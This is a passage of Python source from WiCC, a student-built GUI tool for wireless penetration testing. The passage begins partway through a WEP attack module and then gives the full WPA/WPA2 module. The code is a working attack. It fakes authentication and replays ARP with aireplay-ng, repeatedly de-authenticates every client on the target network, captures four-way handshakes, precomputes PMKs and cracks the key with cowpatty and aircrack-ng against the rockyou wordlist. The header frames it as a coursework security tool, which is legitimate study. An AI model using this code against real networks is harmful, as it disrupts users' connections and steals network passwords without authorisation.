args=(arpreplay_cmd,)) 56 | arpreplay_thread.start() 57 | arpreplay_thread.join(0) 58 | 59 | self.show_message("Running aireplay thread on mac: " + self.mac) 60 | 61 | counter = 0 62 | else: 63 | super().show_message("Running silent attack (no fake auth and no arp replay)") 64 | 65 | self.password = "" 66 | 67 | pgrep_aireplay_cmd = ['pgrep', 'aireplay'] 68 | 69 | while self.password == "": 70 | if not self.running_aircrack: 71 | crack_thread = threading.Thread(target=self.crack_network) 72 | crack_thread.start() 73 | time.sleep(1) 74 | if not self.silent_attack and self.password == "": 75 | if counter == 20: 76 | self.show_message("Reseting aireplay every 20 seconds . . .") 77 | pgrep_out, err = self.execute_command(pgrep_aireplay_cmd) 78 | 79 | pgrep_out = pgrep_out.decode('utf-8') 80 | 81 | if pgrep_out != "": 82 | pids = pgrep_out.split('\n') 83 | for pid in pids: 84 | if pid != "": 85 | self.execute_command(['kill', '-9', pid]) 86 | 87 | fakeauth_out, err = self.execute_command(fakeauth_cmd) 88 | self.show_message("Faked authentication on ap: " + self.bssid + " with MAC: " + self.mac) 89 | # self.show_message(fakeauth_out.decode('utf-8')) 90 | arpreplay_thread = threading.Thread(target=self.execute_command, args=(arpreplay_cmd,)) 91 | arpreplay_thread.start() 92 | arpreplay_thread.join(0) 93 | self.show_message("Running aireplay thread on mac: " + self.mac) 94 | 95 | if not self.running_with_wordlist: 96 | aircrack_wordlist_thread = threading.Thread(target=self.aircrack_wordlist) 97 | aircrack_wordlist_thread.start() 98 | 99 | counter = 0 100 | else: 101 | counter+=1 102 | return self.password 103 | 104 | def crack_network(self): 105 | """ 106 | Crack the selected network. Aircrack is left running until if gets enough iv's to crack the connection key 107 | :return: password key 108 | 109 | :Author: Miguel Yanes Fernández 110 | """ 111 | self.running_aircrack = True 112 | self.execute_command(['rm', self.write_directory + '/aircrack_out_' + str(self.timestamp)]) 113 | self.execute_command(['touch', self.write_directory + '/aircrack_out_' + str(self.timestamp)]) 114 | password = "" 115 | aircrack_cmd = ['timeout', '10', 'aircrack-ng', 116 | self.write_directory + '/net_attack_' + str(self.timestamp) + '-01.cap', 117 | '>', self.write_directory + '/aircrack_out_' + str(self.timestamp)] 118 | self.show_message("Running aircrack thread") 119 | self.execute_command(aircrack_cmd) 120 | time.sleep(1) 121 | print("executed aircrack") 122 | with open(self.write_directory + '/aircrack_out_' + str(self.timestamp), 'r') as file: 123 | password = self.filter_aircrack(file.read()) 124 | 125 | self.running_aircrack = False 126 | 127 | self.password = password 128 | 129 | def aircrack_wordlist(self): 130 | """ 131 | Cracks the capture file with the selected wordlist 132 | :return: password key (if found in the wordlist) 133 | :Author: Miguel Yanes Fernández 134 | """ 135 | self.show_message("running with wordlist") 136 | self.running_with_wordlist = True 137 | aircrack_wordlist_cmd = ['aircrack-ng', self.write_directory + '/net_attack_' + str(self.timestamp) + '-01.cap', 138 | '-w', '/usr/share/wordlists/rockyou.txt'] 139 | out, err = self.execute_command(aircrack_wordlist_cmd) 140 | self.show_message("\n\tFinished with wordlist") 141 | password = self.filter_aircrack(out.decode("utf-8")) 142 | self.password = password 143 | 144 | self.running_with_wordlist = False 145 | 146 | def filter_aircrack(self, output): 147 | """ 148 | Filter the aircrack output to read the password (if any is found) 149 | :param output: output from the aicrack command 150 | :return: password (or "" if it wasn't found) 151 | 152 | :Author: Miguel Yanes Fernández 153 | """ 154 | words = output.split(" ") 155 | for i in range(0, len(words)): 156 | if words[i] == "(ASCII:": 157 | return words[i + 1] 158 | self.show_message("No password found in the capture file") 159 | return "" 160 | -------------------------------------------------------------------------------- /wicc_wpa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from wicc_enc_type import EncryptionType 12 | import threading 13 | import time 14 | 15 | 16 | class WPA(EncryptionType): 17 | 18 | def __init__(self, network, interface, wordlist, verbose_level, silent_attack, write_directory, is_pyrit_installed): 19 | """ 20 | Constructor for the class WPA. Calls the parent's class constructor 21 | :param network: selected target network 22 | :param interface: name of the wireless interface 23 | :param wordlist: password wordlist directory 24 | :param verbose_level: verbose level set by main 25 | :param silent_attack: option to do a silent scan 26 | :param write_directory: directory to write the generated files 27 | 28 | :Author: Miguel Yanes Fernández 29 | """ 30 | EncryptionType.__init__(self, network, interface, verbose_level, silent_attack, write_directory) 31 | self.wordlist = wordlist 32 | self.pmk = "" 33 | self.is_pyrit_installed = is_pyrit_installed 34 | 35 | def scan_network(self): 36 | """ 37 | Scans the target network (calls the parent method to scan the network) and every 6 attemtpts, de-auths all 38 | clients on the network. Finishes once pyrit or cowpatty find a valid handshake 39 | :return: none 40 | 41 | :Author: Miguel Yanes Fernández 42 | """ 43 | super().scan_network() 44 | self.show_message("scanned parent") 45 | valid_handshake = False 46 | 47 | self.calculate_pmk() 48 | 49 | pyrit_cmd = ['pyrit', '-r', self.write_directory + '/net_attack_' + str(self.timestamp) + '-01.cap', 'analyze'] 50 | cowpatty_cmd = ['cowpatty', '-c', '-r', self.write_directory + '/net_attack_' + str(self.timestamp) + '-01.cap'] 51 | de_auth_cmd = ['aireplay-ng', '-0', '5', '--ignore-negative-one', '-a', self.bssid, '-D', self.interface] 52 | if self.silent_attack: 53 | super().show_message("Running silent attack (no de-authing)") 54 | else: 55 | second_iterator = 7 # when 15, de-auth's clients on the network 56 | 57 | pyrit_out = "" 58 | cowpatty_out = "" 59 | 60 | while not valid_handshake: 61 | if not valid_handshake: 62 | time.sleep(1) 63 | if not self.silent_attack: 64 | if second_iterator == 7: 65 | self.show_message("de-authing . . .") 66 | out, err = self.execute_command(de_auth_cmd) 67 | second_iterator = 0 68 | else: second_iterator += 1 69 | else: 70 | break 71 | time.sleep(0.5) 72 | if self.is_pyrit_installed: 73 | pyrit_out, err = self.execute_command(pyrit_cmd) 74 | time.sleep(0.5) 75 | cowpatty_out, err = self.execute_command(cowpatty_cmd) 76 | valid_handshake = self.filter_cowpatty_out(cowpatty_out) 77 | if self.is_pyrit_installed: 78 | valid_handshake = valid_handshake or self.filter_pyrit_out(pyrit_out) 79 | 80 | def kill_genpmk(self): 81 | """ 82 | Method to kill the genpmk process. This method is meant to be runned once the handshake has been captured. 83 | :return: none 84 | 85 | :Author: Miguel Yanes Fernández 86 | """ 87 | pgrep_cmd = ['pgrep', 'genpmk'] 88 | pgrep_out, pgrep_err = self.execute_command(pgrep_cmd) 89 | 90 | pgrep_out = pgrep_out.decode('utf-8') 91 | 92 | if pgrep_out != "": 93 | pids = pgrep_out.split('\n') 94 | for pid in pids: 95 | if pid != "": 96 | self.execute_command(['kill', '-9', pid]) # kills all processes related with the process 97 | self.show_message("killed pid " + pid) 98 | 99 | def add_wordlist(self, wordlist): 100 | """ 101 | Sets the object variable wordlist 102 | :param wordlist: selected wordlist 103 | :return: none 104 | 105 | :author: Miguel Yanes Fernández 106 | """ 107 | self.wordlist = wordlist 108 | 109 | def crack_network(self): 110 | """ 111 | Cracks the dump file from the target network. First, if the pmk values have been pre-calculated, tries to crack 112 | the handhsake with those values. If not, cracks the handshake with aircrack and the selected wordlist 113 | :return: password of the cracked network ("" if no password was found) 114 | 115 | :Author: Miguel Yanes Fernández 116 | """ 117 | if self.pmk != "": 118 | self.kill_genpmk() 119 | cowpatty_cmd = ['cowpatty', '-d', self.pmk, '-s', self.essid, '-r', 120 | self.write_directory + '/net_attack_' + str(self.timestamp) + '-01.cap'] 121 | cowpatty_out, cowpatty_err = self.execute_command(cowpatty_cmd) 122 | cowpatty_out = cowpatty_out.decode('utf-8').split("\n") 123 | password = self.filter_cowpatty_psk(cowpatty_out) 124 | if password != "": 125 | self.show_message("password gathered from pmk") 126 | return password 127 | else: 128 | self.show_message("no password on pmk") 129 | 130 | aircrack_cmd = ['aircrack-ng', self.write_directory + '/net_attack_' + str(self.timestamp) + '-01.cap', 131 | '-w', self.wordlist, '>', 132 | self.write_directory + '/aicrack-out'] 133 | aircrack_out, aircrack_err = self.execute_command(aircrack_cmd) 134 | aircrack_out = aircrack_out.decode('utf-8') 135 | self.password = self.filter_aircrack(aircrack_out) 136 | return self.password 137 | 138 | def calculate_pmk(self): 139 | """ 140 | Executes a thread with the genpmk command to pre-calculate PMK values with the selected wordlist and network. 141 | :return: none 142 | 143 | :Author: Miguel Yanes Fernández 144 | """ 145 | self.pmk = self.write_directory + '/pmk_' + str(self.timestamp) 146 | genpmk_cmd = ['genpmk', '-f', self.wordlist, '-d', self.pmk, '-s', self.essid] 147 | genpmk_thread = threading.Thread(target=self.execute_command, args=(genpmk_cmd,)) 148 | genpmk_thread.start() 149 | genpmk_thread.join(0) 150 | self.show_message("calculating pmk...") 151 | 152 | def filter_cowpatty_psk(self, output): 153 | """ 154 | Filter the output from cowpatty when analysing the pmk values 155 | :param output: output of the cowpatty command 156 | :return: psk value (if any) 157 | 158 | :Author: Miguel Yanes Fernández 159 | """ 160 | for line in output: 161 | if line == 'Unable to identify the PSK from the dictionary file. Try expanding your': 162 | self.show_message("No valid PSK") 163 | return "" 164 | elif 'The PSK is' in line: 165 | words = line.split(" ") 166 | psk = words[3][1:-2] # [1:-2] is to remove the " " surrounding the psk 167 | self.show_message("Found PSK: " + psk) 168 | return psk 169 | return "" 170 | 171 | def filter_pyrit_out(self, output): 172 | """ 173 | Filters the output from the pyrit command. Checks if pyrit finds any valid handshake 174 | :param output: output from the pyrit command 175 | :return: boolean whether it found a handshake or not 176 | 177 | :Author: Miguel Yanes Fernández 178 | """ 179 | output = output.decode('utf-8') 180 | lines = output.split('\n') 181 | for line in lines: 182 | if line == 'No valid EAOPL-handshake + ESSID detected.': 183 | return False 184 | elif 'handshake(s)' in line: 185 | self.show_message("Pyrit handshake detected") 186 | return True 187 | return False 188 | 189 | def filter_cowpatty_out(self, output): 190 | """ 191 | Filters the output from the cowpatty command to check if the dump file has any valid handshake 192 | :param output: output from the cowpatty command 193 | :return: boolean wether it found a valid handshake or not 194 | 195 | :Author: Miguel Yanes Fernández 196 | """ 197 | output = output.decode('utf-8') 198 | lines = output.split('\n') 199 | for line in lines: 200 | if line == 'End of pcap capture file, incomplete four-way handshake exchange. ' \ 201 | 'Try using a different capture.': 202 | return False 203 | elif 'mount crack' in line: 204 | self.show_message("Cowpatty handshake detected") 205 | return True 206 | return False 207 | 208 | def filter_aircrack(self, output): 209 | """ 210 | Filter the aircrack output to read the password (if any is found) 211 | :param output: output from the aicrack command 212 | :return: password (or "" if it wasn't found) 213 | 214 | :Author: Miguel Yanes Fernández 215 | """ 216 | words = output.split(" ") 217 | next_1 = False 218 | next_2 = False 219 | for word in words: 220 | if word[:6] == "FOUND!": 221 | next_1 = True 222 | elif next_1: 223 | if not next_2: 224 | next_2 = True 225 | else: 226 | return word 227 | self.show_message("No password found in the capture file") 228 | return "" 229 | --------------------------------------------------------------------------------